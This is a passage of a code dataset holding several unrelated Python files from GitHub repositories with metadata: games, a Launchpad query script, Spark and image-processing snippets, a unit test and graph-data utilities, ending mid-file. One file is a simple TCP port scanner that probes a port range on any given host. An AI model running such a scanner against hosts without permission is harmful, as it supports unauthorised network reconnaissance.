\"\\n\")\n","repo_name":"Searle/AdventOfCode","sub_path":"2021/24/aoc24_1a.py","file_name":"aoc24_1a.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5020375372","text":"import argparse\n\nimport common\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-p',\n                    '--project-name',\n                    required=True,\n                    dest='project_name',\n                    help='The LP project name.')\n\nargs = parser.parse_args()\n\nPROJECT_NAME = args.project_name\n\nclient = common.get_project_client(PROJECT_NAME)\n\nbug_tasks = client.searchTasks(tags=None,\n                               order_by='id',\n                               importance=[\"High\", \"Critical\"],\n                               omit_duplicates=True)\n\nprint(\"=================================================\")\nprint(\"High|Critical Prio Bugs \")\nprint(\"=================================================\")\nfor bug_task in bug_tasks:\n    print(bug_task.web_link)\n\nprint(\"=================================================\")\nprint(\"Reviews\")\nprint(\"=================================================\")\nlink = \"https://review.openstack.org/#/q/\"\nlink += \"status:open+project:openstack/nova\"\nlink += \"+(nil\"\nfor bug_task in bug_tasks:\n    link += \"+OR+message:\\\"#\" + str(bug_task.bug.id) + \"\\\"\"\nlink += \"+),n,z\"\nprint(link)\n","repo_name":"markuszoeller/openstack","sub_path":"scripts/launchpad/query_high_prio_bug_fixes.py","file_name":"query_high_prio_bug_fixes.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"35610248441","text":"from random import randint\nprint('=-' * 20)\nprint('     VAMOS JOGAR PAR OU ÍMPAR!')\nprint('=-' * 20)\n\ncont = 0\n\nwhile True:\n    computador = randint(1, 10)\n    usuario = int(input('Diga um valor: '))\n    jogada = str(input('Par ou ímpar? [P/I] ')).upper()\n    res = computador + usuario\n    aux = ''\n\n    if res % 2 == 0:\n        aux = 'PAR'\n    else:\n        aux = 'IMPAR'\n    if jogada == aux[0]:\n        print('Você GANHOU!!')\n        cont += 1\n        print('Vamos jogar novamente...')\n    else:\n        print('Você PERDEU!!')\n        print('=-' * 20)\n        print(f'GAME OVER! Você venceu {cont} vez')\n        break\nprint(f'Você jogou {usuario} e o computador jogou {computador}. O total de {res} DEU {aux}')","repo_name":"camilajullyane/python","sub_path":"exercicios/ex068.py","file_name":"ex068.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"638532314","text":"#!/bin/env python3\n\nimport sys\nimport json\nimport shutil\nimport os\n\nterm_width = shutil.get_terminal_size((80, 20)).columns\ncount = 0\n\nfor line in sys.stdin:\n    count += 1\n    if count == 5:\n        count = 0\n    else:\n        continue\n\n    oneline = line.replace('\\n', '').replace('\\r', '')[:-1]\n    out = \"\"\n    try:\n        j = json.loads(oneline)\n        for el in j:\n            out += el[\"full_text\"] + \" | \"\n    except ValueError:\n        out = \"...\"\n    out = out.center(term_width, ' ')\n    os.system('clear')\n    print(out)\n","repo_name":"AntonHermann/i3barcl_py","sub_path":"i3barcl.py","file_name":"i3barcl.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34973073458","text":"import random\r\n\r\nMAX_GUESSES = 5\r\nSTART, END = 1, 20\r\n\r\n\r\ndef isInt_try(v):\r\n  try:\r\n    i = int(v)\r\n  except:\r\n    return False\r\n  return True\r\n\r\n\r\ndef get_random_number():\r\n  \"\"\"Get a random number between START and END, returns int\"\"\"\r\n  return random.randint(START, END)\r\n\r\n\r\nclass Game:\r\n  \"\"\"Number guess class, make it callable to initiate game\"\"\"\r\n\r\n  def __init__(self):\r\n    \"\"\"Init _guesses, _answer, _win to set(), get_random_number(), False\"\"\"\r\n    self._guesses = []\r\n    self._answer = get_random_number()\r\n    # self._answer = 13\r\n    self._win = False\r\n\r\n  def guess(self):\r\n    \"\"\"Ask user for input, convert to int, raise ValueError outputting\r\n       the following errors when applicable:\r\n       'Please enter a number'\r\n       'Should be a number'\r\n       'Number not in range'\r\n       'Already guessed'\r\n       If all good, return the int\"\"\"\r\n\r\n    guess = input(\"Guess a number between 1 and 20: \")\r\n    # guess = guess.replace(\"'\", \"\").replace('\"', '')\r\n\r\n    if guess == \"\" or guess == \"None\" or guess == None:  # no input\r\n      print('Please enter a number')\r\n      raise ValueError\r\n    elif not isInt_try(guess):\r\n      print('Should be a number')\r\n      raise ValueError\r\n    elif int(guess) < START or int(guess) > END:\r\n      print('Number not in range')\r\n      raise ValueError\r\n    elif int(guess) in self._guesses:\r\n      print('Already guessed')\r\n      raise ValueError\r\n    else:\r\n      self._guesses.append(int(guess))\r\n      return int(guess)\r\n\r\n  def _validate_guess(self, guess):\r\n    \"\"\"Verify if guess is correct, print the following when applicable:\r\n       {guess} is correct!\r\n       {guess} is too low\r\n       {guess} is too high\r\n       Return a boolean\"\"\"\r\n\r\n    if self._answer == guess:\r\n      print('{} is correct!'.format(guess))\r\n      return True\r\n\r\n    if self._answer < guess:\r\n      print('{} is too high'.format(guess))\r\n      return False\r\n\r\n    if self._answer > guess:\r\n      print('{} is too low'.format(guess))\r\n      return False\r\n\r\n  def __call__(self):\r\n    \"\"\"Entry point / game loop, use a loop break/continue,\r\n       see the tests for the exact win/lose messaging\"\"\"\r\n    # print(self._answer)\r\n\r\n    while len(self._guesses) < MAX_GUESSES:\r\n      try:\r\n        g = self.guess()\r\n        # print(self._guesses)\r\n        if self._validate_guess(g):\r\n          self._win = True\r\n          if len(self._guesses) == 1:\r\n            print('It took you {} guess'.format(len(self._guesses)))\r\n          else:\r\n            print('It took you {} guesses'.format(len(self._guesses)))\r\n          break\r\n\r\n      except ValueError:\r\n        continue\r\n\r\n    if not self._win:\r\n      print('Guessed 5 times, answer was {}'.format(self._answer))\r\n\r\n\r\ndef main():\r\n  \"\"\"\r\n    In this Bite you implement a Game class to perform a number guessing game.\r\n    It lets a user do a max of 5 guesses of a secret number between 1 and 20 randomly defined by the class.\r\n\r\n    Note you have to account for invalid inputs: raise a ValueError if a user hits Enter (nothing entered)\r\n    , a non-numeric value, a number that is not in the 1-20 range, or guesses the same number again.\r\n\r\n    See the template code below ... (Advanced Bite, not giving away too much!)\r\n\r\n    The tests run through a lose scenario as well. Note they mock out the input builtin to test this. And you will be tested on stdout too so use print statements in addition to return values. Here is how the program would work from the command line.\r\n  \"\"\"\r\n\r\n  # guesses = []\r\n\r\n  # while len(guesses) < 5:\r\n\r\n  #   try:\r\n  #     guess = input(\"Guess a number between 1 and 20: \")\r\n\r\n  #     guess = guess.replace(\"'\", \"\").replace('\"', '')\r\n\r\n  #     if guess == \"\":  # no input\r\n  #       raise ValueError\r\n  #     elif not isInt_try(guess):\r\n  #       raise ValueError\r\n  #     else:\r\n  #       guesses.append(int(guess))\r\n  #       print(guesses)\r\n\r\n  #   except ValueError:\r\n  #     if guess == \"\":\r\n  #       print(\"Please enter a number\")\r\n  #     elif not isInt_try(guess):\r\n  #       print(\"Should be a number\")\r\n  #     continue\r\n\r\n  # print(\"Guesses are {}\".format(guesses))\r\n  pass\r\n\r\n\r\nif __name__ == '__main__':\r\n  game = Game()\r\n  game()\r\n  # main()\r\n  # game.guess()\r\n  # game.guess()\r\n","repo_name":"nishanthegde/bitesofpy","sub_path":"42/guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30570455436","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom socket import *\n\n# python3 portScanner.py <host> <start_port>-<end_port>\nhost = sys.argv[1]\nstart_port, end_port = map(int, sys.argv[2].split('-'))\n\ntarget_ip = gethostbyname(host)\nlogs = []\n\nprint(\"Details:\")\nfor port in range(start_port, end_port + 1):\n    sock = socket(AF_INET, SOCK_STREAM)\n    sock.settimeout(10)\n    result = sock.connect_ex((target_ip, port))\n    if result == 0:\n        logs.append(\"[open] %d \" % port)\n        print(\"[open] %d\" % port)\n    else:\n        logs.append(\"[close] %d \" % port)\n        print(\"[close] %d\" % port)\n\nwith open(\"log.txt\", 'w+') as f:\n    for port in logs:\n        f.write(port+'\\n')\n","repo_name":"RichardcLee/self-made-tools","sub_path":"Port Scanner/portScanner.py","file_name":"portScanner.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70821126910","text":"import pyparsing as pp\n\nfile_path = \"projects/complex_query.dtsx\"\n\n\ndef parse_dtsx(file_path):\n    # define grammar\n    create_grammar = pp.Keyword(\"CREATE MEMBER CURRENTCUBE.\")\n    calc_member = pp.Word(pp.alphanums + \"_\" + \"[\" + \"]\" + \"/\" + \".\")\n    grammar = (\n        create_grammar + calc_member + pp.Keyword(\"AS\") + calc_member + pp.restOfLine\n    )\n    main_grammar = pp.OneOrMore(grammar)\n\n    with open(file_path, \"r\") as f:\n        script = f.read()\n        parse_grammar = grammar.parseString(script)\n        print(parse_grammar)\n\n\nif __name__ == \"__main__\":\n    parse_dtsx(file_path)\n","repo_name":"rishijohri/parser","sub_path":"calc_parse.py","file_name":"calc_parse.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22462843781","text":"import os\nimport unittest\n\nimport numpy as np\nfrom PIL import Image\nfrom tests.ut_config import TEST_IMAGES_DIR\n\nfrom easycv.predictors.builder import build_predictor\nfrom easycv.thirdparty.u2sod.sodpredictor import SODPredictor\n\nbbox_res = [[0, 1077, 1, 1079], [147, 871, 148, 873], [172, 196, 197, 218],\n            [266, 68, 267, 70], [676, 0, 679, 2], [104, 0, 507, 1008]]\n\n\nclass SODPredictorTest(unittest.TestCase):\n\n    def setUp(self):\n        print(('Testing %s.%s' % (type(self).__name__, self._testMethodName)))\n\n    def test_sodpredictor(self):\n        sodpredictor = SODPredictor(model_name='u2netp')\n        image = Image.open(os.path.join(TEST_IMAGES_DIR, 'u2sod_bottle.jpg'))\n        # bboxes, landmarks = detector.detect(image)\n        res = sodpredictor.predict([image])\n        bbox = np.array(res[0]['bbox'])\n        self.assertTrue(np.allclose(bbox, np.array(bbox_res)))\n\n    def test_ev_sodpredictor(self):\n        sod_cfg = dict(type='SODPredictor', model_name='u2netp')\n        sodpredictor = build_predictor(sod_cfg)\n        image = Image.open(os.path.join(TEST_IMAGES_DIR, 'u2sod_bottle.jpg'))\n        # bboxes, landmarks = detector.detect(image)\n        res = sodpredictor.predict([image])\n        bbox = np.array(res[0]['bbox'])\n        self.assertTrue(np.allclose(bbox, np.array(bbox_res)))\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"alibaba/EasyCV","sub_path":"tests/test_thirdparty/test_u2sod.py","file_name":"test_u2sod.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":1565,"dataset":"github-code","pt":"60"}
+{"seq_id":"23695512237","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import pandas_udf, PandasUDFType\nfrom pyspark.sql.types import StructType, StructField, IntegerType, StringType, TimestampType\nimport pandas as pd\nfrom datetime import datetime\n\n# SparkSession\nspark = SparkSession.builder.appName(\"CSV/Pandas to HDFS\").master(\"spark://localhost:7077\").getOrCreate()\n\ndf = spark.read.csv(\"Friends.csv\", header=True, inferSchema=True)\n\nschema = StructType([StructField(\"userID\", IntegerType()), StructField(\"name\", StringType()), StructField(\"age\", IntegerType()), StructField(\"friends\", IntegerType()), StructField(\"date_time\", TimestampType())])\n\n@pandas_udf(schema, functionType=PandasUDFType.GROUPED_MAP)\ndef fill_nulls(df: pd.DataFrame) -> pd.DataFrame:\n\n    # replace null values in specific columns with a default value\n    default_values = {'name' : \"Unknown\"}\n    df.fillna(default_values, inplace=True)\n    df.fillna(\"N/A\", inplace=True)\n\n    # filering the data\n    df = df[df['age'] < 40]\n    df['date_time'] = datetime.now()\n    df.sort_values(by=['userID'])\n\n    return df\n\n@pandas_udf(\"integer\", PandasUDFType.SCALAR)\ndef interpolate_age(age: pd.Series) -> pd.Series:\n    age = pd.to_numeric(age, errors='coerce')\n    return age.interpolate(method='linear')\n\n# SCALAR_ITER : A scalar iterator is a Python generator that takes one row at a time and returns one row at a time.\n# SCALAR : A scalar function is a Python function that takes one row as input and returns one row as output.\n# GROUPED_MAP : A grouped map function is a Python function that takes one group at a time and returns one row at a time.\n# GROUPED_AGG : A grouped aggregate function is a Python function that takes one group at a time and returns one aggregated value at a time.\n\ndf = df.withColumn('age', interpolate_age(df['age']))\ndf = df.groupby().apply(fill_nulls)\ndf.show()\n\n# write the DataFrame to HDFS\ndf.write\\\n.format(\"parquet\").mode(\"overwrite\")\\\n.option(\"path\", \"hdfs://localhost:9000/user/hadoop_ADMIN/spark/CSV_to_parquet/\")\\\n.partitionBy(\"age\")\\\n.save()","repo_name":"JeffVar00/Extractions_Spark","sub_path":"Pandas_Testing/CSV/Pandas_Extraction_CSV.py","file_name":"Pandas_Extraction_CSV.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18946244607","text":"import numpy as np\nimport cv2\n\ndef createCircularMask(h, w, center=None, radius=None):\n\n    if center is None:\n        center = [int(w/2), int(h/2)]\n    if radius is None:\n        radius = min(center[0], center[1], w-center[0], h-center[1])\n\n    Y, X = np.ogrid[:h, :w]\n    dist_from_center = np.sqrt((X - center[0])**2 + (Y-center[1])**2)\n\n    mask = dist_from_center <= radius\n    return mask\n\n\nif __name__ == '__main__':\n    img = cv2.imread(\"images/amigos.jpg\")\n    cv2.imshow(\"original image\", img)\n\n    h, w = img.shape[:2]\n    radius = h / 6\n    # mask = createCircularMask(h, w, radius=radius)\n    mask = createCircularMask(h, w)\n    masked_img = img.copy()\n    masked_img[~mask] = 0\n\n    cv2.imshow(\"masked image\", masked_img)\n    cv2.waitKey(0)\n","repo_name":"willallves/digital_image_processing-samples","sub_path":"create_circular_mask.py","file_name":"create_circular_mask.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7943840543","text":"# 2019/10/27\n# Fernando Gama, fgama@seas.upenn.edu\n\"\"\"\ndataTools.py Data management module\n\nSeveral tools to manage data\n\nFacebookEgo (class): loads the Facebook adjacency matrix of EgoNets\nSourceLocalization (class): creates the datasets for a source localization\n    problem\nAuthorship (class): loads and splits the dataset for the authorship attribution\n    problem\n\"\"\"\n\nimport os\nimport pickle\nimport hdf5storage # This is required to import old Matlab(R) files.\nimport urllib.request # To download from the internet\nimport gzip # To handle gz files\nimport shutil # Command line utilities\n\nimport numpy as np\nimport torch\n\nimport Utils.graphTools as graph\n\nzeroTolerance = 1e-9 # Values below this number are considered zero.\n\ndef normalizeData(x, ax):\n\n    # Normalize data along axis ax. The normalization is minus mean, divided\n    # by std\n\n    thisShape = x.shape # get the shape\n    assert ax < len(thisShape) # check that the axis that we want to normalize\n        # is there\n    dataType = type(x) # get data type so that we don't have to convert\n\n    if 'numpy' in repr(dataType):\n\n        # Compute the statistics\n        xMean = np.mean(x, axis = ax)\n        xDev = np.std(x, axis = ax)\n        # Add back the dimension we just took out\n        xMean = np.expand_dims(xMean, ax)\n        xDev = np.expand_dims(xDev, ax)\n\n    elif 'torch' in repr(dataType):\n\n        # Compute the statistics\n        xMean = torch.mean(x, dim = ax)\n        xDev = torch.std(x, dim = ax)\n        # Add back the dimension we just took out\n        xMean = xMean.unsqueeze(ax)\n        xDev = xDev.unsqueeze(ax)\n\n    # Subtract mean and divide by standard deviation\n    x = (x - xMean) / xDev\n\n    return x\n\ndef changeDataType(x, dataType):\n\n    # So this is the thing: To change data type it depends on both, what dtype\n    # the variable already is, and what dtype we want to make it.\n    # Torch changes type by .type(), but numpy by .astype()\n    # If we have already a torch defined, and we apply a torch.tensor() to it,\n    # then there will be warnings because of gradient accounting.\n\n    # All of these facts make changing types considerably cumbersome. So we\n    # create a function that just changes type and handles all this issues\n    # inside.\n\n    # If we can't recognize the type, we just make everything numpy.\n\n    # Check if the variable has an argument called 'dtype' so that we can now\n    # what type of data type the variable is\n    if 'dtype' in dir(x):\n        varType = x.dtype\n\n    # So, let's start assuming we want to convert to numpy\n    if 'numpy' in repr(dataType):\n        # Then, the variable con be torch, in which case we move it to cpu, to\n        # numpy, and convert it to the right file.\n        if 'torch' in repr(varType):\n            x = x.cpu().numpy().astype(dataType)\n        # Or it could be numpy, in which case we just use .astype\n        elif 'numpy' in repr(type(x)):\n            x = x.astype(dataType)\n    # Now, we want to convert to torch\n    elif 'torch' in repr(dataType):\n        # If the variable is torch in itself\n        if 'torch' in repr(varType):\n            x = x.type(dataType)\n        # But, if it's numpy\n        elif 'numpy' in repr(type(x)):\n            x = torch.tensor(x, dtype = dataType)\n\n    # This only converts between numpy and torch. Any other thing is ignored\n    return x\n\nclass _data:\n    # Internal supraclass from which all data sets will inherit.\n    # There are certain methods that all Data classes must have:\n    #   getSamples(), to() and astype().\n    # To avoid coding this methods over and over again, we create a class from\n    # which the data can inherit this basic methods.\n\n    # All the inputs are always assumed to be graph signals that are written\n    #   nDataPoints (x nFeatures) x nNodes\n    # If we have one feature, we have the expandDims() that adds a x1 so that\n    # it can be readily processed by architectures/functions that always assume\n    # a 3-dimensional input.\n\n    # The output can be anything, so there's no point on doing an expandDims()\n    # there. It could be a label, or it could be another graph signal, or a\n    # one-hot vector. In any case, if there's a specific expand dims for the\n    # output, it has to be dealt with within that specific class.\n    def __init__(self):\n        # Minimal set of attributes that all data classes should have\n        self.dataType = None\n        self.device = None\n        self.nTrain = None\n        self.nValid = None\n        self.nTest = None\n        self.samples = {}\n        self.samples['train'] = {}\n        self.samples['train']['signals'] = None\n        self.samples['train']['targets'] = None\n        self.samples['valid'] = {}\n        self.samples['valid']['signals'] = None\n        self.samples['valid']['targets'] = None\n        self.samples['test'] = {}\n        self.samples['test']['signals'] = None\n        self.samples['test']['targets'] = None\n\n    def getSamples(self, samplesType, *args):\n        # type: train, valid, test\n        # args: 0 args, give back all\n        # args: 1 arg: if int, give that number of samples, chosen at random\n        # args: 1 arg: if list, give those samples precisely.\n        # Check that the type is one of the possible ones\n        assert samplesType == 'train' or samplesType == 'valid' \\\n                    or samplesType == 'test'\n        # Check that the number of extra arguments fits\n        assert len(args) <= 1\n        # If there are no arguments, just return all the desired samples\n        x = self.samples[samplesType]['signals']\n        y = self.samples[samplesType]['targets']\n        # If there's an argument, we have to check whether it is an int or a\n        # list\n        if len(args) == 1:\n            # If it is an int, just return that number of randomly chosen\n            # samples.\n            if type(args[0]) == int:\n                nSamples = x.shape[0] # total number of samples\n                # We can't return more samples than there are available\n                assert args[0] <= nSamples\n                # Randomly choose args[0] indices\n                selectedIndices = np.random.choice(nSamples, size = args[0],\n                                                   replace = False)\n                # Select the corresponding samples\n                xSelected = x[selectedIndices]\n                y = y[selectedIndices]\n            else:\n                # The fact that we put else here instead of elif type()==list\n                # allows for np.array to be used as indices as well. In general,\n                # any variable with the ability to index.\n                xSelected = x[args[0]]\n                # And assign the labels\n                y = y[args[0]]\n\n            # If we only selected a single element, then the nDataPoints dim\n            # has been left out. So if we have less dimensions, we have to\n            # put it back\n            if len(xSelected.shape) < len(x.shape):\n                if 'torch' in self.dataType:\n                    x = xSelected.unsqueeze(0)\n                else:\n                    x = np.expand_dims(xSelected, axis = 0)\n            else:\n                x = xSelected\n\n        return x, y\n\n    def expandDims(self):\n\n        # For each data set partition\n        for key in self.samples.keys():\n            # If there's something in them\n            if self.samples[key]['signals'] is not None:\n                # And if it has only two dimensions\n                #   (shape: nDataPoints x nNodes)\n                if len(self.samples[key]['signals'].shape) == 2:\n                    # Then add a third dimension in between so that it ends\n                    # up with shape\n                    #   nDataPoints x 1 x nNodes\n                    # and it respects the 3-dimensional format that is taken\n                    # by many of the processing functions\n                    if 'torch' in repr(self.dataType):\n                        self.samples[key]['signals'] = \\\n                                       self.samples[key]['signals'].unsqueeze(1)\n                    else:\n                        self.samples[key]['signals'] = np.expand_dims(\n                                                   self.samples[key]['signals'],\n                                                   axis = 1)\n\n    def astype(self, dataType):\n        # This changes the type for the minimal attributes (samples). This\n        # methods should still be initialized within the data classes, if more\n        # attributes are used.\n\n        # The labels could be integers as created from the dataset, so if they\n        # are, we need to be sure they are integers also after conversion.\n        # To do this we need to match the desired dataType to its int\n        # counterpart. Typical examples are:\n        #   numpy.float64 -> numpy.int64\n        #   numpy.float32 -> numpy.int32\n        #   torch.float64 -> torch.int64\n        #   torch.float32 -> torch.int32\n\n        targetType = str(self.samples['train']['targets'].dtype)\n        if 'int' in targetType:\n            if 'numpy' in repr(dataType):\n                if '64' in targetType:\n                    targetType = np.int64\n                elif '32' in targetType:\n                    targetType = np.int32\n            elif 'torch' in repr(dataType):\n                if '64' in targetType:\n                    targetType = torch.int64\n                elif '32' in targetType:\n                    targetType = torch.int32\n        else: # If there is no int, just stick with the given dataType\n            targetType = dataType\n\n        # Now that we have selected the dataType, and the corresponding\n        # labelType, we can proceed to convert the data into the corresponding\n        # type\n        for key in self.samples.keys():\n            self.samples[key]['signals'] = changeDataType(\n                                                   self.samples[key]['signals'],\n                                                   dataType)\n            self.samples[key]['targets'] = changeDataType(\n                                                   self.samples[key]['targets'],\n                                                   targetType)\n\n        # Update attribute\n        if dataType is not self.dataType:\n            self.dataType = dataType\n\n    def to(self, device):\n        # This changes the type for the minimal attributes (samples). This\n        # methods should still be initialized within the data classes, if more\n        # attributes are used.\n        # This can only be done if they are torch tensors\n        if 'torch' in repr(self.dataType):\n            for key in self.samples.keys():\n                for secondKey in self.samples[key].keys():\n                    self.samples[key][secondKey] \\\n                                      = self.samples[key][secondKey].to(device)\n\n            # If the device changed, save it.\n            if device is not self.device:\n                self.device = device\n\nclass _dataForClassification(_data):\n    # Internal supraclass from which data classes inherit when they are used\n    # for classification. This renders the .evaluate() method the same in all\n    # cases (how many examples are correctly labels) so justifies the use of\n    # another internal class.\n\n    def __init__(self):\n\n        super().__init__()\n\n\n    def evaluate(self, yHat, y, tol = 1e-9):\n        \"\"\"\n        Return the accuracy (ratio of yHat = y)\n        \"\"\"\n        N = len(y)\n        if 'torch' in repr(self.dataType):\n            #   We compute the target label (hardmax)\n            yHat = torch.argmax(yHat, dim = 1)\n            #   And compute the error\n            totalErrors = torch.sum(torch.abs(yHat - y) > tol)\n            accuracy = 1 - totalErrors.type(self.dataType)/N\n        else:\n            yHat = np.array(yHat)\n            y = np.array(y)\n            #   We compute the target label (hardmax)\n            yHat = np.argmax(yHat, axis = 1)\n            #   And compute the error\n            totalErrors = np.sum(np.abs(yHat - y) > tol)\n            accuracy = 1 - totalErrors.astype(self.dataType)/N\n        #   And from that, compute the accuracy\n        return accuracy\n\nclass FacebookEgo:\n    \"\"\"\n    FacebookEgo: Loads the adjacency matrix of the Facebook Egonets available\n        in https://snap.stanford.edu/data/ego-Facebook.html by\n        J. McAuley and J. Leskovec. Learning to Discover Social Circles in Ego\n        Networks. NIPS, 2012.\n    Initialization:\n    Input:\n        dataDir (string): path for the directory in where to look for the data\n            (if the data is not found, it will be downloaded to this directory)\n        use234 (bool): if True, load a smaller subnetwork of 234 users with two\n            communities (one big, and one small)\n\n    Methods:\n\n    .loadData(filename, use234): load the data in self.dataDir/filename, if it\n        does not exist, then download it and save it as filename in self.dataDir\n        If use234 is True, load the 234-user subnetwork as well.\n\n    adjacencyMatrix = .getAdjacencyMatrix([use234]): return the nNodes x nNodes\n        np.array with the adjacency matrix. If use234 is True, then return the\n        smaller nNodes = 234 user subnetwork (default: use234 = False).\n    \"\"\"\n\n    def __init__(self, dataDir, use234 = False):\n\n        # Dataset directory\n        self.dataDir = dataDir\n        # Empty attributes\n        self.adjacencyMatrix = None\n        self.adjacencyMatrix234 = None\n\n        # Load data\n        self.loadData('facebookEgo.pkl', use234)\n\n    def loadData(self, filename, use234):\n        # Check if the dataDir exists, and if not, create it\n        if not os.path.exists(self.dataDir):\n            os.makedirs(self.dataDir)\n        # Create the filename to save/load\n        datasetFilename = os.path.join(self.dataDir, filename)\n        if use234:\n            datasetFilename234 = os.path.join(self.dataDir,'facebookEgo234.pkl')\n            if os.path.isfile(datasetFilename234):\n                with open(datasetFilename234, 'rb') as datasetFile234:\n                    datasetDict = pickle.load(datasetFile234)\n                    self.adjacencyMatrix234 = datasetDict['adjacencyMatrix']\n        # Check if the file does exist, load it\n        if os.path.isfile(datasetFilename):\n            # If it exists, load it\n            with open(datasetFilename, 'rb') as datasetFile:\n                datasetDict = pickle.load(datasetFile)\n                # And save the corresponding variable\n                self.adjacencyMatrix = datasetDict['adjacencyMatrix']\n        else: # If it doesn't exist, load it\n            # There could be three options here: that we have the raw data\n            # already there, that we have the zip file and need to unzip it,\n            # or that we do not have nothing and we need to download it.\n            existsRawData = \\\n                   os.path.isfile(os.path.join(self.dataDir,\n                                               'facebook_combined.txt'))\n           # And the zip file\n            existsZipFile = os.path.isfile(os.path.join(\n                                       self.dataDir,'facebook_combined.txt.gz'))\n            if not existsRawData and not existsZipFile: # We have to download it\n                fbURL='https://snap.stanford.edu/data/facebook_combined.txt.gz'\n                urllib.request.urlretrieve(fbURL,\n                                 filename = os.path.join(\n                                       self.dataDir,'facebook_combined.txt.gz'))\n                existsZipFile = True\n            if not existsRawData and existsZipFile: # Unzip it\n                zipFile = os.path.join(self.dataDir, 'facebook_combined.txt.gz')\n                txtFile = os.path.join(self.dataDir, 'facebook_combined.txt')\n                with gzip.open(zipFile, 'rb') as f_in:\n                    with open(txtFile, 'wb') as f_out:\n                        shutil.copyfileobj(f_in, f_out)\n            # Now that we have the data, we can get their filenames\n            rawDataFilename = os.path.join(self.dataDir,'facebook_combined.txt')\n            assert os.path.isfile(rawDataFilename)\n            # And we can load it and store it.\n            adjacencyMatrix = np.empty([0, 0]) # Start with an empty matrix and\n            # then we slowly add the number of nodes, which we do not assume\n            # to be known beforehand.\n            # Let's start with the data.\n            # Open it.\n            with open(rawDataFilename, 'r') as rawData:\n                # The file consists of a succession of lines, each line\n                # corresponds to an edge\n                for dataLine in rawData:\n                    # For each line, we split it in the different fields\n                    dataLineSplit = dataLine.rstrip('\\n').split(' ')\n                    # Keep the ones we care about here\n                    node_i = int(dataLineSplit[0])\n                    node_j = int(dataLineSplit[1])\n                    node_max = max(node_i, node_j) # Get the largest node\n                    # Now we have to add this information to the adjacency\n                    # matrix.\n                    #   We need to check whether we need to add more elements\n                    if node_max+1 > max(adjacencyMatrix.shape):\n                        colDiff = node_max+1 - adjacencyMatrix.shape[1]\n                        zeroPadCols = np.zeros([adjacencyMatrix.shape[0],\\\n                                                colDiff])\n                        adjacencyMatrix = np.concatenate((adjacencyMatrix,\n                                                          zeroPadCols),\n                                                         axis = 1)\n                        rowDiff = node_max+1 - adjacencyMatrix.shape[0]\n                        zeroPadRows = np.zeros([rowDiff,\\\n                                                adjacencyMatrix.shape[1]])\n                        adjacencyMatrix = np.concatenate((adjacencyMatrix,\n                                                          zeroPadRows),\n                                                         axis = 0)\n                    # Now that we have assured appropriate dimensions\n                    adjacencyMatrix[node_i, node_j] = 1.\n                    # And because it is undirected by construction\n                    adjacencyMatrix[node_j, node_i] = 1.\n            # Now that it is loaded, let's store it\n            self.adjacencyMatrix = adjacencyMatrix\n            # And save it in a pickle file for posterity\n            with open(datasetFilename, 'wb') as datasetFile:\n                pickle.dump(\n                        {'adjacencyMatrix': self.adjacencyMatrix},\n                        datasetFile\n                        )\n\n    def getAdjacencyMatrix(self, use234 = False):\n\n        return self.adjacencyMatrix234 if use234 else self.adjacencyMatrix\n\nclass SourceLocalization(_dataForClassification):\n    \"\"\"\n    SourceLocalization: Creates the dataset for a source localization problem\n\n    Initialization:\n\n    Input:\n        G (class): Graph on which to diffuse the process, needs an attribute\n            .N with the number of nodes (int) and attribute .W with the\n            adjacency matrix (np.array)\n        nTrain (int): number of training samples\n        nValid (int): number of validation samples\n        nTest (int): number of testing samples\n        sourceNodes (list of int): list of indices of nodes to be used as\n            sources of the diffusion process\n        tMax (int): maximum diffusion time, if None, the maximum diffusion time\n            is the size of the graph (default: None)\n        dataType (dtype): datatype for the samples created (default: np.float64)\n        device (device): if torch.Tensor datatype is selected, this is on what\n            device the data is saved.\n\n    Methods:\n\n    signals, labels = .getSamples(samplesType[, optionalArguments])\n        Input:\n            samplesType (string): 'train', 'valid' or 'test' to determine from\n                which dataset to get the samples from\n            optionalArguments:\n                0 optional arguments: get all the samples from the specified set\n                1 optional argument (int): number of samples to get (at random)\n                1 optional argument (list): specific indices of samples to get\n        Output:\n            signals (dtype.array): numberSamples x numberNodes\n            labels (dtype.array): numberSamples\n            >> Obs.: The 0th dimension matches the corresponding signal to its\n                respective label\n\n    .expandDims(): Adds the feature dimension to the graph signals (i.e. for\n        graph signals of shape nSamples x nNodes, turns them into shape\n        nSamples x 1 x nNodes, so that they can be handled by general graph\n        signal processing techniques that take into account a feature dimension\n        by default)\n\n    .astype(type): change the type of the data matrix arrays.\n        Input:\n            type (dtype): target type of the variables (e.g. torch.float64,\n                numpy.float64, etc.)\n\n    .to(device): if dtype is torch.tensor, move them to the specified device.\n        Input:\n            device (string): target device to move the variables to (e.g. 'cpu',\n                'cuda:0', etc.)\n\n    accuracy = .evaluate(yHat, y, tol = 1e-9)\n        Input:\n            yHat (dtype.array): unnormalized probability of each label (shape:\n                nDataPoints x nClasses)\n            y (dtype.array): correct labels (1-D binary vector, shape:\n                nDataPoints)\n            tol (float, default = 1e-9): numerical tolerance to consider two\n                